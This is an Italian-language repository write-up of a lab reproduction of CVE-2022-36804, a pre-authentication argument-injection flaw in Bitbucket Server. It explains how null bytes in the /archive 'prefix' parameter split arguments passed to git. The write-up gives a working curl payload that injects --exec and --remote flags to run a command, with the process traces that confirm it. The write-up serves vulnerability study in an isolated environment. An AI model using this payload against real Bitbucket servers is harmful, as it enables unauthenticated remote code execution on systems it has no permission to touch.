
Investigating CVE-2022-36804
Ricreazione di una vulnerabilità di esecuzione remota di codice in cui Bitbucket non sanifica l'input dell'utente, consentendo agli attaccanti di iniettare flag Git ed eseguire codice in remoto.
Questo repository documenta come ho riprodotto la vulnerabilità CVE-2022-36804, un problema di iniezione di argomenti pre-autenticazione in Bitbucket Server. L'obiettivo era dimostrare il problema di sicurezza sottostante come descritto nel writeup pubblico di Assetnote. Tutti i test sono stati eseguiti in un ambiente locale isolato.
CVE-2022-36804 è causata dal fatto che Bitbucket passa l'input dell'utente direttamente in un sottoprocesso di git archive senza sanificare i byte nulli. Poiché Bitbucket utilizza NuProcess per generare git, i byte nulli vengono preservati e causano la suddivisione degli argomenti. Ciò consente a un attaccante di iniettare flag git extra nel comando. Nelle versioni vulnerabili (come la 7.21.0 utilizzata in questa configurazione) ciò porta all'esecuzione remota di codice senza autenticazione.
Questa vulnerabilità di esecuzione remota di codice pre-autenticazione si verifica nell'endpoint /archive che è responsabile della generazione di archivi del repository con la funzione di git archive. Bitbucket passa il parametro prefix direttamente nel sottoprocesso git ma senza sanificare i byte nulli. Poiché git è implementato in C, un byte nullo termina la stringa prematuramente. Tutto ciò che segue il byte nullo viene quindi interpretato come un argomento separato della riga di comando. Ciò consente all'attaccante di iniettare flag git arbitrari nel comando.
Questo funziona perché Bitbucket utilizza NuProcess che preserva i byte nulli invece di rimuoverli. Di conseguenza Git riceve l'input grezzo esattamente come fornito dall'utente. Poiché git tratta i byte nulli come terminatori di stringa, il valore di prefix viene suddiviso in più argomenti quando viene passato al sottoprocesso git. Ciò consente di introdurre di nascosto flag git aggiuntivi dopo il byte nullo. Se combinato con flag come --exec e --remote, questa iniezione di argomenti porta direttamente all'esecuzione remota di codice nelle versioni vulnerabili di Bitbucket Server.
TEST/demo)Per avviare l'ambiente:
docker compose up -d
Verifica la versione:
cat /opt/atlassian/bitbucket/VERSION
La chiave di questa CVE è mostrare che un byte nullo nel parametro prefix fa sì che Bitbucket passi più argomenti a git archive.
docker exec -it bitbucket bash
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
Lascia pspy in esecuzione.
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/demo/archive?prefix=test%00canary&format=zip"
Questo verifica se il byte nullo causa la suddivisione degli argomenti.
In pspy Bitbucket genera:
/usr/bin/git archive --format=zip --prefix=test canary/ --
Qui test e canary appaiono come argomenti separati invece di uno. Il %00 ha diviso l'input e Bitbucket è costretto a passarli come argomenti indipendenti a git.
L'immagine seguente mostra pspy in esecuzione all'interno del container Docker di Bitbucket che cattura /usr/bin/git archive --format=zip --prefix=test canary/ -- (PID=666). Ciò che è stato inviato come unico valore - test%00canary - viene passato come due argomenti separati. Il byte nullo ha diviso l'input, introducendo di nascosto un argomento extra nel comando git.
Iniettando --exec=touch /tmp/pwned e --remote=file:///... tramite byte nulli, il server esegue un comando arbitrario. Anche se git esce con codice 128, il comando viene eseguito prima che git dia l'errore e /tmp/pwned viene creato all'interno del container.
Payload:
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/DEMO/archive?at=ebbabd99dd2da7bb5f8ed6dea8c988253fb43260&prefix=x%00--exec=touch+/tmp/pwned%00--remote=file:///var/atlassian/application-data/bitbucket/shared/data/repositories/1%00x&format=zip"
L'immagine seguente mostra pspy che cattura l'intera catena di esecuzione - /usr/bin/git archive in esecuzione con argomenti --exec e --remote (PID=74412), che genera /bin/sh touch /tmp/pwned (PID=74413)

Con docker exec -it bitbucket ls -la /tmp/pwned è stato possibile verificare che il file fosse stato creato.
Questo è mostrato nell'immagine seguente.

Johan - Stoccolma, Svezia